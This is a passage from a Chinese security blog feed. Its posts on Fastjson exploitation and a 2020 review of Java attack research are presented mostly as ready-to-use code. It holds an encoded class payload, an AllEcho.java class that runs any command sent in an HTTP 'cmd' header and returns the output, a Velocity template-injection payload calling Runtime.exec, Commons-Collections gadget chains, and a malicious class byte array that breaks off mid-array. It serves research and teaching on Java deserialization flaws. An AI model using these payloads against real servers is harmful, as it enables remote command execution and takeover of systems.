$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"</span><br><span class="line">            }</span><br><span class="line">        } : "xxx"</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><img src="/.io//Blog/paper/pic/fastjson/3" alt="image-20210713143029456"></p><p>AllEcho.java 对于其他的中间件的兼容效果比较好。</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">AllEcho</span> </span>{</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> java.util.HashSet&lt;Object&gt; h;</span><br><span class="line">    <span class="keyword">static</span> ClassLoader cl = java.lang.Thread.currentThread().getContextClassLoader();</span><br><span class="line">    <span class="keyword">static</span> Class hsr;<span class="comment">//HTTPServletRequest.class</span></span><br><span class="line">    <span class="keyword">static</span> Class hsp;<span class="comment">//HTTPServletResponse.class</span></span><br><span class="line">    <span class="keyword">static</span> String cmd;</span><br><span class="line">    <span class="keyword">static</span> Object r;</span><br><span class="line">    <span class="keyword">static</span> Object p;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">AllEcho</span><span class="params">()</span> </span>{</span><br><span class="line"></span><br><span class="line">        r = <span class="keyword">null</span>;</span><br><span class="line">        p = <span class="keyword">null</span>;</span><br><span class="line">        h =<span class="keyword">new</span> java.util.HashSet&lt;Object&gt;();</span><br><span class="line">        <span class="keyword">try</span> {</span><br><span class="line">            hsr = cl.loadClass(<span class="string">"javax.servlet.http.HttpServletRequest"</span>);</span><br><span class="line">            hsp = cl.loadClass(<span class="string">"javax.servlet.http.HttpServletResponse"</span>);</span><br><span class="line">        } <span class="keyword">catch</span> (ClassNotFoundException e) {</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        }</span><br><span class="line"></span><br><span class="line">        F(java.lang.Thread.currentThread(),<span class="number">0</span>);</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">i</span><span class="params">(Object obj)</span></span>{</span><br><span class="line">        <span class="keyword">if</span>(obj==<span class="keyword">null</span>|| h.contains(obj)){</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">        }</span><br><span class="line"></span><br><span class="line">        h.add(obj);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    }</span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">p</span><span class="params">(Object o, <span class="keyword">int</span> depth)</span></span>{</span><br><span class="line">        <span class="keyword">if</span>(depth &gt; <span class="number">52</span>||(r !=<span class="keyword">null</span>&amp;&amp; p !=<span class="keyword">null</span>)){</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        }</span><br><span class="line">        <span class="keyword">if</span>(!i(o)){</span><br><span class="line">            <span class="keyword">if</span>(r ==<span class="keyword">null</span>&amp;&amp;hsr.isAssignableFrom(o.getClass())){</span><br><span class="line">                r = o;</span><br><span class="line">                <span class="comment">//Tomcat特殊处理</span></span><br><span class="line">                <span class="keyword">try</span> {</span><br><span class="line">                    cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");</span><br><span class="line">                    <span class="keyword">if</span>(cmd==<span class="keyword">null</span>) {</span><br><span class="line">                        r = <span class="keyword">null</span>;</span><br><span class="line">                    }<span class="keyword">else</span>{</span><br><span class="line">                        <span class="comment">//System.out.println("find Request");</span></span><br><span class="line">                        <span class="keyword">try</span> {</span><br><span class="line">                            java.lang.reflect.Method getResponse = r.getClass().getMethod(<span class="string">"getResponse"</span>);</span><br><span class="line">                            p = getResponse.invoke(r);</span><br><span class="line">                        } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">                            <span class="comment">//System.out.println("getResponse Error");</span></span><br><span class="line">                            r=<span class="keyword">null</span>;</span><br><span class="line">                            <span class="comment">//e.printStackTrace();</span></span><br><span class="line">                        }</span><br><span class="line">                    }</span><br><span class="line">                } <span class="keyword">catch</span> (IllegalAccessException e) {</span><br><span class="line">                    e.printStackTrace();</span><br><span class="line">                } <span class="keyword">catch</span> (java.lang.reflect.InvocationTargetException e) {</span><br><span class="line">                    e.printStackTrace();</span><br><span class="line">                } <span class="keyword">catch</span> (NoSuchMethodException e) {</span><br><span class="line">                    e.printStackTrace();</span><br><span class="line">                }</span><br><span class="line"></span><br><span class="line">            }<span class="keyword">else</span> <span class="keyword">if</span>(p ==<span class="keyword">null</span>&amp;&amp;hsp.isAssignableFrom(o.getClass())){</span><br><span class="line">                p =  o;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            }</span><br><span class="line">            <span class="keyword">if</span>(r !=<span class="keyword">null</span>&amp;&amp; p !=<span class="keyword">null</span>){</span><br><span class="line">                <span class="keyword">try</span> {</span><br><span class="line">                    String charsetName = System.getProperty(<span class="string">"os.name"</span>).toLowerCase().contains(<span class="string">"window"</span>) ? <span class="string">"GBK"</span>:<span class="string">"UTF-8"</span>;</span><br><span class="line">                    java.io.PrintWriter pw =  (java.io.PrintWriter)hsp.getMethod(<span class="string">"getWriter"</span>).invoke(p);</span><br><span class="line">                    pw.println(<span class="keyword">new</span> java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream(),charsetName).useDelimiter(<span class="string">"\\A"</span>).next());</span><br><span class="line">                    pw.flush();</span><br><span class="line">                    pw.close();</span><br><span class="line">                    <span class="comment">//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());</span></span><br><span class="line">                }<span class="keyword">catch</span> (Exception e){</span><br><span class="line">                }</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            }</span><br><span class="line"></span><br><span class="line">            F(o,depth+<span class="number">1</span>);</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">F</span><span class="params">(Object start, <span class="keyword">int</span> depth)</span></span>{</span><br><span class="line"></span><br><span class="line">        Class n=start.getClass();</span><br><span class="line">        <span class="keyword">do</span>{</span><br><span class="line">            <span class="keyword">for</span> (java.lang.reflect.Field declaredField : n.getDeclaredFields()) {</span><br><span class="line">                declaredField.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">                Object o = <span class="keyword">null</span>;</span><br><span class="line">                <span class="keyword">try</span>{</span><br><span class="line">                    o = declaredField.get(start);</span><br><span class="line"></span><br><span class="line">                    <span class="keyword">if</span>(!o.getClass().isArray()){</span><br><span class="line">                        p(o,depth);</span><br><span class="line">                    }<span class="keyword">else</span>{</span><br><span class="line">                        <span class="keyword">for</span> (Object q : (Object[]) o) {</span><br><span class="line">                            p(q, depth);</span><br><span class="line">                        }</span><br><span class="line"></span><br><span class="line">                    }</span><br><span class="line"></span><br><span class="line">                }<span class="keyword">catch</span> (Exception e){</span><br><span class="line">                }</span><br><span class="line">            }</span><br><span class="line"></span><br><span class="line">        }<span class="keyword">while</span>(</span><br><span class="line">                (n = n.getSuperclass())!=<span class="keyword">null</span></span><br><span class="line">        );</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><hr><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://github.com/depycode/fastjson-local-echo" target="_blank" rel="noopener">https://github.com/depycode/fastjson-local-echo</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Fastjson回显&quot;&gt;&lt;a href=&quot;#Fastjson回显&quot; class=&quot;headerlink&quot; title=&quot;Fastjson回显&quot;&gt;&lt;/a&gt;Fastjson回显&lt;/h1&gt;&lt;h2 id=&quot;LDAP&quot;&gt;&lt;a href=&quot;#LDAP&quot; class=&quot;head
      
    
    </summary>
    
    
      <category term="Fsatjson" scheme="https://summersec.github.io/categories/Fsatjson/"/>
    
    
  </entry>
  
  <entry>
    <title>2020年研究回顾总结</title>
    <link href="https://summersec.github.io/2021/04/04/2020%E5%B9%B4%E7%A0%94%E7%A9%B6%E5%9B%9E%E9%A1%BE%E6%80%BB%E7%BB%93/"/>
    <id>https://summersec.github.io/2021/04/04/2020%E5%B9%B4%E7%A0%94%E7%A9%B6%E5%9B%9E%E9%A1%BE%E6%80%BB%E7%BB%93/</id>
    <published>2021-04-04T00:22:16.000Z</published>
    <updated>2021-01-24T13:13:20.346Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>   这篇文章是一遍概述，浓缩性的文章，大致内容是将我研究的内容，回归总结。将分析文章总一个压缩在压缩性质的总结。尽可能保证用最简单话写最多的内容，都是自己的理解，如有错误还请谅解。所有的具体分析文章都在博客中，博客地址：<a href="https://summersec.github.io">https://summersec.github.io</a></p><hr><h1 id="SSTI-服务端模板注入"><a href="#SSTI-服务端模板注入" class="headerlink" title="SSTI 服务端模板注入"></a>SSTI 服务端模板注入</h1><p>   服务端模板注入漏洞普遍存在于使用某种模板引擎模板解析（翻译）和数据渲染，目的是渲染或者解析页面速度更快，更加便捷。<br>   下面是Velocity模板引擎的SSTI漏洞Payload，很容易就发现Payload使用Java反射的知识。Velocity模板引擎语法加上Java反射配合，使用SSTI漏洞变成了可能。其实绝大多数情况下基本上SSTI服务端模板注入形成原因都是这样子，==模板语法+Java反射==。当然有些模板引擎会禁用底层JDK某些方法，当然Bypass就可以使用Java反射调用被禁用的某些底层类。</p><figure class="highlight"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">q=1&amp;&amp;wt=velocity&amp;v.template=custom&amp;v.template.custom=#set($x='') </span><br><span class="line">#set($rt=$x.class.forName('java.lang.Runtime')) </span><br><span class="line">#set($chr=$x.class.forName('java.lang.Character')) </span><br><span class="line">#set($str=$x.class.forName('java.lang.String')) </span><br><span class="line">#set($ex=$rt.getRuntime().exec('calc'))</span><br><span class="line">$ex.waitFor() </span><br><span class="line">#set($out=$ex.getInputStream())</span><br><span class="line">#foreach($i in [1..$out.available()])</span><br><span class="line">$str.valueOf($chr.toChars($out.read()))#end</span><br></pre></td></tr></tbody></table></figure><hr><h1 id="CommonsCollections反序列化"><a href="#CommonsCollections反序列化" class="headerlink" title="CommonsCollections反序列化"></a>CommonsCollections反序列化</h1><p>   目前commons-collections的反序列化漏洞主要以3和4(版本)为主流，3和4的利用方式也不同，Gadget链也不相同。</p><hr><h2 id="CommonsCollections3"><a href="#CommonsCollections3" class="headerlink" title="CommonsCollections3"></a>CommonsCollections3</h2><p>   BadAttributeValueExpException这个类是javax.management报下的一个异常处理类，是jdk自带的，无需依赖第三方。它继承了Serializable接口满足反序列化漏洞的条件，它只有一个值权限是<code>private不可直接修改</code>，但利用反射机制修改其权限来到达触发反序列化漏洞的目的。</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Gadget chain:</span><br><span class="line">       ObjectInputStream.readObject()</span><br><span class="line">           BadAttributeValueExpException.readObject()</span><br><span class="line">               TiedMapEntry.toString()</span><br><span class="line">                   LazyMap.get()</span><br><span class="line">                       ChainedTransformer.transform()</span><br><span class="line">                           ConstantTransformer.transform()</span><br><span class="line">                           InvokerTransformer.transform()</span><br><span class="line">                               Method.invoke()</span><br><span class="line">                                   Class.getMethod()</span><br><span class="line">                           InvokerTransformer.transform()</span><br><span class="line">                               Method.invoke()</span><br><span class="line">                                   Runtime.getRuntime()</span><br><span class="line">                           InvokerTransformer.transform()</span><br><span class="line">                               Method.invoke()</span><br><span class="line">                                   Runtime.exec()</span><br></pre></td></tr></tbody></table></figure><p>   下面一张图很完美解释了<code>Transformer数组</code>的功能，其实本质还是Java反射调用。<br><img src="https://img-blog.csdnimg.cn/2021012417002995.png" alt="在这里插入图片描述"></p><hr><h2 id="CommonsCollections4"><a href="#CommonsCollections4" class="headerlink" title="CommonsCollections4"></a>CommonsCollections4</h2><p>    PriorityQueue原本只是个优先队列，TemplatesImpl原本只是在xalan中的处理xml的模板实现，二者相互结合。先将恶意字节码通过修改字节码方式植入TemplatesImpl类中，然后用PriorityQueue类<code>比较特性</code>触发漏洞。</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Gadget chain:</span><br><span class="line">    ObjectInputStream.readObject()</span><br><span class="line">        PriorityQueue.readObject()</span><br><span class="line">            ...</span><br><span class="line">                TransformingComparator.compare()</span><br><span class="line">                    InvokerTransformer.transform()</span><br><span class="line">                        Method.invoke()</span><br><span class="line">                            TemplatesImpl.newTransformer()</span><br><span class="line">                                TemplatesImpl.getTransletInstance()</span><br><span class="line">                                    TemplatesImpl.defineTransletClasses()</span><br><span class="line">                                        Runtime.exec()</span><br></pre></td></tr></tbody></table></figure><p><img src="https://img-blog.csdnimg.cn/20200519095242678.png" alt=""></p><hr><h1 id="反序列化回显"><a href="#反序列化回显" class="headerlink" title="反序列化回显"></a>反序列化回显</h1><h2 id="defineclass异常回显"><a href="#defineclass异常回显" class="headerlink" title="defineclass异常回显"></a>defineclass异常回显</h2><p>   defineclass是java.lang.ClassLoader类下的一个类方法，将字节码转化为Class类。使用该类加载生成恶意的类字节码，恶意类里面包含着一个恶意命令然后使用异常回显出命令执行的结果。</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 加载恶意类字节码</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">demo2</span> <span class="keyword">extends</span> <span class="title">ClassLoader</span> </span>{</span><br><span class="line">    <span class="comment">// Summer类名</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String testClassName = <span class="string">"summer.classload.Summer"</span>;</span><br><span class="line">    <span class="comment">// Summer.class类字节码</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] testClassBytes = <span class="keyword">new</span> <span class="keyword">byte</span>[]{</span><br><span class="line">            -<span class="number">54</span>, -<span class="number">2</span>, -<span class="number">70</span>, -<span class="number">66</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">52</span>, <span class="number">0</span>, <span class="number">96</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">0</span>, <span class="number">53</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">54</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">55</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">56</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">57</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">58</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">59</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">60</span>, <span class="number">0</span>, <span class="number">61</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">62</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">63</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">64</span>, <span class="number">0</span>, <span class="number">65</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">66</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">67</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">0</span>, <span class="number">68</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">69</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">0</span>, <span class="number">53</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">0</span>, <span class="number">70</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">0</span>, <span class="number">71</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">72</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">73</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">0</span>, <span class="number">74</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">0</span>, <span class="number">75</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">76</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">77</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">60</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">105</span>, <span class="number">116</span>, <span class="number">62</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">67</span>, <span class="number">111</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">76</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">101</span>, <span class="number">78</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">98</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">84</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">18</span>, <span class="number">76</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">97</span>, <span class="number">108</span>, <span class="number">86</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">84</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">116</span>, <span class="number">104</span>, <span class="number">105</span>, <span class="number">115</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">76</span>, <span class="number">115</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">99</span>, <span class="number">109</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">18</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span 